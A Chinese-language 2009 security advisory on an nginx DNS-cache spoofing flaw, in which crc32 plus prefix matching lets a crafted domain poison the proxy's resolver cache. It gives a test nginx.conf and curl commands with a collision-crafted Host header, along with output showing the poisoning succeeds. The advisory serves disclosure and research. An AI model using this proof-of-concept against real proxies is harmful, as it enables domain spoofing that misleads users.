Nginx代理DNS缓存域欺骗漏洞


发布日期:2009-09-17
更新日期:2009-09-18

受影响系统:
Igor Sysoev nginx 0.8.x
Igor Sysoev nginx 0.7.x
Igor Sysoev nginx 0.6.x
Igor Sysoev nginx 0.5.x
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 36438

nginx是多平台的HTTP服务器和邮件代理服务器。

nginx对解析过的域名维护一个内部的DNS缓存,但在搜素缓存时,nginx仅检查名称的crc32是否匹配以及短名称是长名称的前缀,但没有检查名称的长度是否相等。如果nginx配置为代理缓存的话,远程攻击者就可以通过DNS投毒攻击欺骗域名,诱骗用户相信所访问的域名为合法。

<*来源:Matthew Dempsky
 
  链接:http://marc.info/?l=nginx&m=125314374727296&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

使用以下nginx.conf:

    events {
      worker_connections  1024;
    }

    http {
      resolver 4.2.2.4;
      server {
        listen 8080;
        location / {
          proxy_pass http://$http_host$request_uri;
        }
      }
    }

然后运行curl验证缓存中毒:

    $ curl -H 'Host: www.google.com.9nyz309.crc32.dempsky.org'
http://127.0.0.1:8080/
    <html>
    <body>
    Ho hum, nothing to see here, move along please.
    </body>
    </html>

    $ curl -H 'Host: www.google.com' http://127.0.0.1:8080/
    <html>
    <body>
    Oops, you shouldn't be asking me for http://www.google.com/!
    </body>
    </html>

建议:
--------------------------------------------------------------------------------
厂商补丁:

Igor Sysoev
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://nginx.net/

相关内容